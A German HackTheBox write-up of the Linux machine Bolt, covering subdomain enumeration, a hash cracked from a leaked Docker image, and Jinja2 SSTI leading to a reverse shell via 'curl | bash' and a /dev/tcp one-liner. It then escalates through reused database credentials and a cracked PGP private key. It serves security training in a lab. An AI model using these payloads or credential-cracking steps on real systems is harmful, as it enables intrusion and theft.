> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md).

# Bolt HackTheBox Writeup

Writeup zur HackTheBox-Medium-Linux-Maschine Bolt mit Abdeckung von Informationsleck, Subdomain-Enumeration, SSTI (Server Side Template Injection), Missbrauch von PassBolt, mit praktischer Enumeration, Ausnutzung, Foo

{% embed url="<https://app.hackthebox.com/machines/384>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Informationsleck
* Subdomain-Aufzählung
* SSTI (Serverseitige Template-Injektion)
* Missbrauch von PassBolt
* Missbrauch von GPG
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe249ba0cc11bd5665b5e7238311ab1e717cd817%2Fimage%20(1050).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adc4ba3ff10da280acc094cc028fa131c275edca%2F%7BC1BA7573-926A-4AA9-90A2-B71045A78A99%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -Pn -n --min-rate 5000 -vvv 10.10.11.114 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc5c7bb56d8092233683cf3f26f34fde7b954786%2F%7B67BAA2AB-0A85-4D52-9FD8-B1B5E71D0A41%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (22,80,443)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c388f4c7dddc4795a4d4c58c26bfa55055328275%2F%7B874105A4-F7EA-4469-BF1E-525CDC7782AA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80,443 10.10.11.114 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97619423658e04dc30e488d2f2b536d97dfa247a%2F%7B8DDEA6FA-DF23-494B-9ABF-CB35CDC63A3D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen wir den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-690436a839186bd305b4dc60408adcee8033b4f9%2F%7B68881ED4-2E7B-4B79-B6F2-CAC954D71F38%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Port 80

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f92441cd74194252076962dc12af51fd81873a0%2F%7B50AE69EF-FD85-4FD5-9D0B-10E4A2142367%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir versuchen, ein Konto zu erstellen, erhalten aber einen "Internal Server Error".

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6a4a4ceeb03af6fd186c558fe00a1500700823d%2F%7B3799CB8F-DE0C-426E-865A-D51219116F3A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e22dc57e5442e9e9001db61f5a69bea268d08bf%2F%7BE2B09E0B-96B5-46B9-98E8-1AC3DC6D63B5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Liste möglicher Benutzer:**

* Joseph Garth
* Bonnie Green
* Jose Leos

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efc9565a8a4d8b829eff65803b1a8777b58ab32c%2F%7B6B314CCA-9DBA-4C1B-A7E3-4CDA066E09D1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Uns wird der Download einer `.tar` Docker-Image angeboten, einschließlich eines grundlegenden Web-Pakets, um ein Projekt mit elegantem Design zu starten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eda8ce09255dbdb09c9574a3dd185395163a22db%2Fimage%20(1051).png?alt=media" alt=""><figcaption></figcaption></figure>

**Verzeichnissuche:**

Wir führen eine Verzeichnissuche mit `gobuster`:

```bash
gobuster dir -u http://bolt.htb  -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Es wurde nichts Interessantes gefunden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e35e4261f8155ea9dec1ff65246cd07ddc5f628%2F%7B4EAD33E8-B3E6-463C-983B-A7E89574053F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Subdomänensuche:**

Wir suchen mit `gobuster`:

```bash
gobuster vhost -u http://bolt.htb  --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

Gefundene Subdomänen:

* `demo.bolt.htb`
* `mail.bolt.htb`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e54709ca177ee422855cf85431cc6c31bab613a2%2F%7B3AE9A9D2-35A7-40E8-B415-A9B8402CA89E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir fügen sie dem `/etc/hosts` Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a8230a35c95f854ccd1c1d77fdc34b93f5dd625%2F%7B66F3CE95-B6EE-48F6-B4AE-257B125321FD%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**`http://mail.blolt.htb`**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec637f98eee51274eab5afa50fcff4c4dc0c0bc3%2F%7BF7563CE3-396A-4658-8B61-903615C4F50D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**`http://demo.bolt.htb:`**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e3d49e577307dd356dc6c64d77f7f0964ee3513%2F%7B6224C840-7C32-4A60-A8F6-9877A6DFE8A0%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Informationsleckage (image.tar)

Wir suchen in der Docker-Datei nach sensiblen Informationen `.tar` die Ordner mit der Datei `json`, Datei `layer.tar` und Version enthält.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4331a75f7e7ea79fa3e6f53145796218ccb55c9d%2F%7B960D138D-0A1E-4FDC-A952-392D816CC386%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Dateiextraktion:**

Wir extrahieren die Dateien aus `layer.tar` wie folgt:

```bash
mkdir extracted_layers
```

```bash
find . -name "layer.tar" -exec tar -xvf {} -C extracted_layers /;
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7373bb528376766453bc1b265bbc3fff5299815%2F%7BAA747C6A-4D75-4795-B0EC-A5F5247ED17B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir öffnen die `db.sqlite3` Datenbank zu erstellen:

```sql
sqlite3 db.sqlite3 

.tables
Select * from user
```

Wir finden einen Benutzer `admin` mit einem gehashten Passwort:

* `ID`: Eindeutige Benutzerkennung.
* `Benutzername`: Benutzername (`admin` in diesem Fall).
* `E-Mail`: Zugehörige E-Mail-Adresse (`admin@bolt.htb`).
* `Passwort`: Gehashtes Passwort (`$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.`).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d73a022ce616865964bfbe3f9c46323dbe285544%2F%7B929F3FE9-ADBB-470E-9816-CA2C70AD8C6E%7D.png?alt=media" alt="" width="468"><figcaption></figcaption></figure>

Wir entschlüsseln das Passwort mit `john`:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:deadbolt`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67bfe9043ca73f3de587dd3f9c74ba0c69155b79%2F%7B9FABE644-09A6-4379-949C-22C7F59CAAAE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Wir loggen uns im Admin-Panel ein, finden aber nichts Interessantes außer dass es Flask verwendet.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-892e202fff2c026a015f293076938aad343788d7%2Fimage%20(1052).png?alt=media" alt=""><figcaption></figcaption></figure>

**Suche nach Einladungscode:**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33c61cc8ce7dacd1e959295021caf81cf9289f77%2F%7BD735E385-B367-4CD9-9657-93078B3FDEDE%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>

Wir suchen in den extrahierten Dateien nach dem Einladungscode:

```bash
grep -ri "invite_code" .
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4c3d47250bcb850bcbf74c6b6f83d2faea667e6%2Fimage%20(1054).png?alt=media" alt=""><figcaption></figcaption></figure>

Eine Python-Datei enthält den Einladungscode:

`XNSS-HSJW-3NGU-8XTJ`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de694666c1e52851dbebdb9770946a4961e5d2c2%2Fimage%20(1055).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir erstellen ein neues Benutzerkonto `jordan` mit Passwort `Jordan1234`, dann erhalten wir Zugriff auf den Posteingang und die Admin-Panel-Demo.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e83ee01a2b924c9118b5424bf2d1e1c3a0b15a9d%2F%7BFE85444A-FC13-4D30-A12E-298927179A9C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* `Benutzer: jordan`
* `Passwort: Jordan1234`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6442c9d77ac0f4bb62e96f48eef5fc18bbdbf481%2F%7B9CE4F043-5290-4B84-A790-078DE32531FC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f69a78e260957651de9ddf92a6ccba476ab923ad%2F%7B84799957-5B78-48DB-980D-89B8EBE1E8DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## SSTI-Schwachstelle :

Beim Blick auf die Konfiguration fällt uns auf, dass beim Ändern unseres Konfigurationsnamens eine Bestätigungs-E-Mail gesendet wird. Das könnte eine Gelegenheit für einen SSTI-Angriff sein.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6e03ce0a33faa89d0006a8c8d646aa01d7e41fc%2F%7B2BB8282B-D96C-477A-94AA-F84F42D9E87A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eda93eb7ba655d7c8c6abc2bf1e225b49e70de4f%2Fimage%20(1056).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir testen mit einer typischen Nutzlast:

```bash
{{ 9*9 }}
```

Wenn das Ergebnis ist `81`, ist die Anwendung verwundbar.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8704ccedeff27f3fdf4708cff34029665845b3b2%2F%7B4D64E440-FB15-432F-9398-64C20AE06B77%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir bestätigen, dass die Anwendung verwundbar ist, und testen eine Befehlsinjektion mit einer Nutzlast aus `payloadallthethings`:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

Bestell-ID:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a6ca30b657e199baf891e24b5a4173b8b7d1887%2F%7B51A5257C-4305-4C9B-A545-1E23210599D1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir führen erfolgreich eine Reverse Shell aus, indem wir auf Port 443 lauschen:

```bash
nc -nlvp 443
```

Wir erstellen einen `index.html` Datei mit folgendem Inhalt, um eine Reverse Shell auszuführen

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

Dann starten wir einen HTTP-Server mit Python:

```bash
python3 -m http.server 80
```

Wir senden die Nutzlast mit `curl` um den Befehl abzurufen und auszuführen:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-348fcc2d92e9dc0fe73d1e954a5d357577c441a0%2F%7BF035C0DC-C166-405E-852C-744974C4FCE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Terminal-Stabilisierung :**

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Stabilisieren Sie die Shell für komfortableres Arbeiten. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Privilegieneskalation :

Als Benutzer `www-data`, versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erhalten.

### Erste Aufzählung mit LinPEAS

Du hast LinPEAS verwendet, um potenzielle Schwachstellen im System zu identifizieren.

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases>" %}

Ausgeführte Befehle:

```bash
python3 -m http.server 555
```

```bash
wget http://10.10.14.3:555/linpeas.sh
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-874b84b528c30a13d3fe1b6646b1f7546b2ecbb9%2F%7B09D2CED3-7126-42F8-83CD-00331446F53B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

LinPEAS offenbarte eine Konfigurationsdatei mit sensiblen Informationen:

`/etc/passbolt/passbolt.php`

* `Host : localhost`
* `Port : 3306`
* `Benutzername : passbolt`
* `Passwort : rT2;jW7<eY8!dX8}pQ8%`
* `Datenbank : passboltdb`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e6efe3d48794c98f4980b805eb081efc94657b1%2F%7B9A160287-A046-4CAC-BC10-46539ED7A545%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Verbindung zur MySQL-Datenbank**

Verwendung der Informationen, um eine Verbindung zur Datenbank herzustellen:

```bash
mysql -h localhost -P 3306 -u passbolt -p 

rT2;jW7<eY8!dX8}pQ8%
```

#### **Analyse der Tabellen in der Datenbank**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dedad8129f18f4baeeee68e73bb041a2eb257846%2F%7B3857F5A8-3EE6-4379-ABBF-71D844134919%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* **`users`**: Enthält Benutzer.

<table data-header-hidden data-full-width="true"><thead><tr><th width="125"></th><th width="112"></th><th width="124"></th><th width="101"></th><th width="109"></th><th width="110"></th><th></th></tr></thead><tbody><tr><td><code>ID</code></td><td><code>role_id</code></td><td><code>Benutzername</code></td><td><code>active</code></td><td><code>deleted</code></td><td><code>created</code></td><td><code>modified</code></td></tr><tr><td><code>4e184ee6-e436-47fb-91c9-dccb57f250bc</code></td><td><code>1cfcd300-0664-407e-85e6-c11664a7d86c</code></td><td><code>eddie@bolt.htb</code></td><td>1</td><td>0</td><td>2021-02-25 21:42:50</td><td>2021-02-25 21:55:06</td></tr><tr><td><code>9d8a0452-53dc-4640-b3a7-9a3d86b0ff90</code></td><td><code>975b9a56-b1b1-453c-9362-c238a85dad76</code></td><td><code>clark@bolt.htb</code></td><td>1</td><td>0</td><td>2021-02-25 21:40:29</td><td>2021-02-25 21:42:32</td></tr></tbody></table>

* **`Geheimnisse`**: Verschlüsselte Nachrichten (möglicherweise später ausnutzbar).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ef081da69eeac0a0c4faeffd0704a1a48420a70%2F%7B34BBF05A-358F-41A2-B12C-162ED65D1EC6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* **`gpgkeys`**: Enthält öffentliche Schlüssel (kann in bestimmten Szenarien verwendet werden).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c356cefb56838975f64e29e5c7868668eb450727%2Fimage%20(2476).png?alt=media" alt=""><figcaption></figcaption></figure>

Versuch, eine Verbindung herzustellen mit `eddie`:

```bash
su eddie
```

* **Passwort**: `rT2;jW7<eY8!dX8}pQ8%`
* Zugriff auf Benutzer `eddie` erlangt

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be3961aabe8bcb7a0f79ba02c82374e35f3fb255%2F%7BDCA41730-F360-4E3F-BA61-5763E9B3DD00%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Wiederverwendung von LinPEAS (Benutzer eddie)

Nach dem Erhalt des Zugriffs auf Benutzer `eddie`, verwenden wir erneut **LinPEAS** um das System nach potenziellen SSH-Schlüsseln oder anderen nützlichen Hinweisen zu durchsuchen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f75cc49c7f3779135b9cad3eceb4e76e9c1f06c%2F%7B5DA3297E-E8D9-46D7-BC17-42937D5CA190%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Datei gefunden**: Eine Protokolldatei mit möglichen SSH-Schlüsseln:

`/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8cf1911f48bdf185540a998741bb526a6203850%2Fimage%20(2477).png?alt=media" alt=""><figcaption></figcaption></figure>

### Nachrichtendechiffrierung mit GPG

**GPG-Privatschlüssel**: Wir verwenden das **GPG** Werkzeug, um den privaten Schlüssel zu importieren und zu versuchen, die verschlüsselte Nachricht in der `Geheimnisse` Tabelle in der `passboltdb` Datenbank.

```
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Kommentar: https://openpgpjs.org

xcMGBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi
fjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk
cpRETcVDVVMZrLlW4zhA9OXfQY/d4/OXaAjsU9w+8ne0A5I0aygN2OPnEKhU
RNa6PCvADh22J5vD+/RjPrmpnHcUuj+/qtJrS6PyEhY6jgxmeijYZqGkGeWU
+XkmuFNmq6km9pCw+MJGdq0b9yEKOig6/UhGWZCQ7RKU1jzCbFOvcD98YT9a
If70XnI0xNMS4iRVzd2D4zliQx9d6BqEqZDfZhYpWo3NbDqsyGGtbyJlABEB
AAH+CQMINK+e85VtWtjguB8IR+AfuDbIzHyKKvMfGStRhZX5cdsUfv5znicW
UjeGmI+w7iQ+WYFlmjFN/Qd527qOFOZkm6TgDMUVubQFWpeDvhM4F3Y+Fhua
jS8nQauoC87vYCRGXLoCrzvM03IpepDgeKqVV5r71gthcc2C/Rsyqd0BYXXA
iOe++biDBB6v/pMzg0NHUmhmiPnSNfHSbABqaY3WzBMtisuUxOzuvwEIRdac
2eEUhzU4cS8s1QyLnKO8ubvD2D4yVk+ZAxd2rJhhleZDiASDrIDT9/G5FDVj
QY3ep7tx0RTE8k5BE03NrE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7/88KWj2QwlgDoRhj26sqD8GA/PtvN0lvInYT93YRqa2e9o7gInT
4JoYntujlyG2oZPLZ7tafbSEK4WRHx3YQswkZeEyLAnSP6R2Lo2jptleIV8h
J6V/kusDdyek7yhT1dXVkZZQSeCUUcQXO4ocMQDcj6kDLW58tV/WQKJ3duRt
1VrD5poP49+OynR55rXtzi7skOM+0o2tcqy3JppM3egvYvXlpzXggC5b1NvS
UCUqIkrGQRr7VTk/jwkbFt1zuWp5s8zEGV7aXbNI4cSKDsowGuTFb7cBCDGU
Nsw+14+EGQp5TrvCwHYEGAEIAAkFAmA4G2ECGwwAIQkQHCdBo9w7Sr0WIQTf
QmvHpKivWOUO2g4cJ0Gj3DtKvf4dB/9CGuPrOfIaQtuP25S/RLVDl8XHvzPm
oRdF7iu8ULcA9gTxPn8DNbtdZEnFHHOANAHnIFGgYS4vj3Dj9Q3CEZSSVvwg
6599FMcw9nGzypVOgqgQv8JGmIUeCipD10k8nHW7m9YBfQB04y9wJw99WNw/
Ic3vdhZ6NvsmLzYI21dnWD287sPj2tKAuhI0AqCEkiRwb4Z4CSGgJ5TgGML8
11Izrkqamzpc6mKBGi213tYH6xel3nDJv5TKm3AGwXsAhJjJw+9K0MNARKCm
YZFGLdtA/qMajW4/+T3DJ79YwPQOtCrFyHiWoIOTWfs4UhiUJIE4dTSsT/W0
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
```

#### Extraktion des Hashs des privaten Schlüssels

Um den privaten Schlüssel verwenden zu können, müssen wir zunächst seinen **Hash**. Wir verwenden das **gpg2john** Werkzeug zum Extrahieren des Hashs des privaten Schlüssels:

```bash
gpg2john private.key > hash
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-846e8b1830c63f80f1fcdc915668e4cf47064213%2F%7BCE528E3F-E6E1-4DE6-94D9-8329FED9A827%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Das Passwort des privaten Schlüssels per Brute-Force mit `john`**

Wir verwenden **John the Ripper** um einen Wörterbuchangriff durchzuführen und das Passwort des privaten Schlüssels zu ermitteln. Wir verwenden dafür die Wordlist **rockyou.txt** dafür:

```bash
john -wordlist=/usr/share/wordlists/rockyou.txt hash
```

**Passwort gefunden**: `merrychristmas`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7d50582221e06fc359d79a595c9c1b841a26195%2Fimage%20(2478).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Importieren des privaten Schlüssels und Entschlüsseln der Nachricht

Wir importieren den privaten Schlüssel mit **gpg**

```bash
gpg --import private.key
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-405953b79fd0c9cde65f5165539c76f4312ab5b3%2F%7B5EA14975-3046-488B-A1E8-E7F78D4264F6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dann entschlüsseln wir die verschlüsselte Nachricht (wahrscheinlich enthalten in der `message.txt` aus der `Geheimnisse` Datenbank abgerufenen Datei):

```bash
gpg --decrypt message.txt
```

**Root-Passwort gefunden**: `Z(2rmxsNW(Z?3=p/9s`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b8bf5665a7bb1ab3b62542d47758c637558a98d%2Fimage%20(2479).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b056c4c6032c26d6014f5fc6f8d1c0218a07debd%2Fimage%20(2480).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c60759cfdbb546ae3182e076e7d787932b77a861%2F%7B375D3F1A-893C-4770-A12A-6868615E7521%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

